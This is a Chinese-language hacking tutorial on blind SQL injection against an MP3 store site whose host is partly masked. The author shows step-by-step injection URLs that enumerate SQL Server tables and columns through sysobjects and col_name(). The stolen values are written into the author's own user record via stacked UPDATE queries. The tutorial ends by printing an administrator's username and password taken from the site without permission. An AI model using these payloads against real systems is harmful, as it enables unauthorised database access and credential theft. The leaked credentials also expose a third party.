SQL Injection這個話題越來越熱了,很多的論壇和hack站點都或多或少地在談論這個問題,當然也有很多革命前輩寫了N多的關於這方面的文章,所利用的也是許多知名的程序,比如動網,塵緣雅境,而我們也可以拿到免費的程序來看其中的漏洞和數據庫的結構,從中來達到注入的目的,不過如果是別人自己寫的程序,那麼我們就不知道他的源代碼,更不知道他的數據庫結構(數據表名和其中的字段名),就算有個變量未過濾提交到數據庫去,我們也是無從對其下手的,只能利用通過猜解他的數據庫結構來構造相應的SQL語句,那麼是不是就到此為止,能猜到多少是多少呢?沒有做不到的,只有想不到的,我相信這篇文章對研究SQL Injection朋友來說,應該會有所啟發。
一、發現漏洞,常規注入
最近幫我們的站增加音樂,雖然本地的電信的音樂資源庫非常豐富,但是缺少有關歌手和專輯的資料,所以到網上去閒逛找點有用的圖片和歌手簡介,通過百度搜索到了一個mp3的音樂超市,裡面的資料還是比較豐富的,拷貝的同時順手在他的Specialid=1817後面加了一個(單引號),我突然眼前一亮:
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
字符串 之前有未閉合的引號。
/showspecial.ASP,行13
Specialid沒有過濾掉單引號就直接用到SQL語句中去了,而且是SQL Server版本的,漏洞的可利用性極大,可不能就此放過這麼好的練兵機會,接著換;(分號)提交進去,居然頁面正常出來了,說明該變量也沒有過濾掉;號,到這裡,我們就可以對此進行SQL滲透了,按照常規的步驟:
1、提交http://********/showspecial.ASP?Specialid=1817;use master;--
注:--的作用是注釋掉程序中後面的SQL語句,以防對我們構造的語句有影響,比如order by..
出現
Microsoft OLE DB Provider for SQL Server 錯誤 80040e21
多步 OLE DB 操作產生錯誤。如果可能,請檢查每個 OLE DB 狀態值。沒有工作被完成。
/showspecial.ASP,行13
想在他的數據庫裡增加一個管理員是不可能了,我們再換一種方法
2、提交http://********/showspecial.ASP?Specialid=1817 and 1<>(select count(id) from [user])
這一句的意思是猜猜看是不是存在一個名為user的表和他裡面有沒有id這個字段
一般來說:
如果不存在該表的話,會出現
Microsoft OLE DB Provider for SQL Server 錯誤 80040e37
對象名 user 無效。
/showspecial.ASP,行13
不存在該字段的話,會出現
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
列名 id 無效。
/showspecial.ASP,行13
注:一般來說,第一步是猜一些公共的表,這裡所指的公共表的意思是大多數的程序員在寫設計數據庫結構的時候會用到的常用的表和字段,比如新聞的news表中的編號字段id,標題字段title,用戶表user或者user_data中的編號字段id,用戶名字段username,當然你也可以在該站點的登陸界面看他的原代碼,找到用戶名和密碼的表單的name值,那個也經常會是表字段名的真實值,如<INPUT type=text name=username size=15>
很幸運,果然存在user表和id字段
3、通過提交http://********/showspecial.ASP?Specialid=1817 and 1<>(select count(username) from [user])
這裡的username是根據登陸框的表單名去猜的,恰好存在該字段。於是在該站注冊了一個用戶名為rrrrr的用戶,作為注入的平台,得到我的用戶名的id值103534
4、繼續猜下去,這裡我還是利用的他程序中的表單名,提交:
http://********/showspecial.ASP?Specialid=1817 and 1<>(select count(email) from [user])
也存在,好了,到這裡,我們的平台已經搭建好了。
二、深入研究,讓SQL自己招數據庫結構
很多時候,我們只能猜到大家比較熟用的表名,如果是非原程序公開下載的,我們很猜到他的真實數據庫結構,有時候猜半天都猜不到,令人很郁悶,那麼該如何拿到他的表結構呢?我們知道SQL SERVER的每一個數據庫都會有用戶表和系統表,根據SQL Server的聯機幫助描述是系統表sysobjects:在數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在表中占一行,那麼也就是說當前數據庫的表名都會在該表內有存在,(對象名 admin 無效。大家可以看到上面出現的報錯把表名描述成對象)。
我們要用的是其中的3個,描述如下(詳細的見SQL Server的聯機幫助):
name 數據表的名字
xtype 數據表的類型 u為用戶表
id 數據表的對象標志
status 保留字段,用戶表一般都是大於0的
在查詢分析器執行以下SQL語句(以我本地的數據庫為例子)
select top 1 name from sysobjects where xtype=u and status>0
我們馬上就可以得到該數據庫下用戶表的第一個表名gallery
select top 1 id from sysobjects where xtype=u and name=gallery
我們馬上就可以得到該數據庫下用戶表的第一個表名gallery的對象標志2099048
select top 1 name from sysobjects where xtype=u and id>2099048
再得到第2個表名gb_data,這裡用到的是id>2099048,因為對象標志id是根據由小到大排列的。
以此類推,我們可以得到所有的用戶表的名字了
接下來,我們要根據得到的表名取他的字段名,這裡我們用到的是系統自帶的2個函數col_name()和object_id(),在查詢分析器執行以下SQL語句(以我本地的數據庫為例子):
select top 1 col_name(object_id(gallery),1) from gallery
得到gallery表的第一個字段名為id。
注:
col_name()的語法
COL_NAME ( table_id , column_id )
參數
table_id:包含數據庫列的表的標識號。table_id 屬於 int 類型。
column_id:列的標識號。column_id 參數屬於 int 類型。
其中我們用object_id()函數來得到該表的標識號,1、2、3。。表示該表的第1個、第2個、第3個。。字段的標識號
以此類推得到該表所有的字段名稱
三、再次滲透攻擊
經過上面2步的熱身,接下來我們該利用建立好的平台實際操作演練一下了
依然是那個頁,我們提交
http://******/showspecial.ASP?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--
服務器返回
ADODB.Recordset 錯誤 800a0cb3
當前記錄集不支持更新。這可能是提供程序的限制,也可能是選定鎖定類型的限制。
/showspecial.ASP,行19
出師不利,可能該頁記錄集打開方式是只讀,我們再換一個頁
找到http://******/ShowSinger.ASP?Classid=34&SClassid=35的SClassid同樣存在問題,於是提交
http://******/ShowSinger.ASP?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--
把第一個數據表的名字更新到我的資料的email項裡去,得到第一個表名為:lmuser
http://******/ShowSinger.ASP?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;--
得到第一個表lmuser的id標識號為:363148339
http://******/ShowSinger.ASP?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--
得到第二個表名為:ad。這裡我們利用的是數據表的對象標志id是升序排列的特點,以此類推繼續取……(由於篇幅問題,中間省略n步),最後我們得到了所有的表名,發現其中有個表admin,哈,很可能就是管理員的列表了。
好,接下來我們就取該表的字段名
http://******/ShowSinger.ASP?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;--
得到第1個字段為:id
http://******/ShowSinger.ASP?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;--
得到第2個字段為:username
http://******/ShowSinger.ASP?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;--
得到第2個字段為:passWord
到此,管理員列表的3個關鍵字段已經給我們拿到,接下來要拿用戶名和密碼就比較省力了,首先拿管理員的id值,這個比較簡單,我就不再詳細說了。
我們拿到的id值是44
http://******/ShowSinger.ASP?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;--
將該管理員的用戶名更新到email項 ,拿到的username為:gscdjmp3
http://******/ShowSinger.ASP?Classid=34&SClassid=35;update [user] set email=(select top 1 passWord from admin where id=44) where id=103534;--
將該管理員的密碼更新到email項,拿到的passWord為:XZDC9212CDJ
怎麼樣,拿到密碼了吧?
四、總結
在我們對一個不知道原代碼的有SQL Iinjection漏洞的程序進行注入的時候,往往很難猜到作者設置的數據庫結構,只能通過編寫程序時的經驗來猜幾個比較常用的表和字段,這樣給注入帶來了很多的麻煩,會因為猜不到結構而放棄,這時候大家不妨試試這個方法,或許對你有所幫助,這裡我們通過更新我們的一個注冊用戶的信息來拿到結果,如果是新聞系統的話,可以通過更新到某個新聞的title來拿結果。
最後,值得提出的是,請大家不要拿該方法去惡意攻擊其他的程序,謝謝!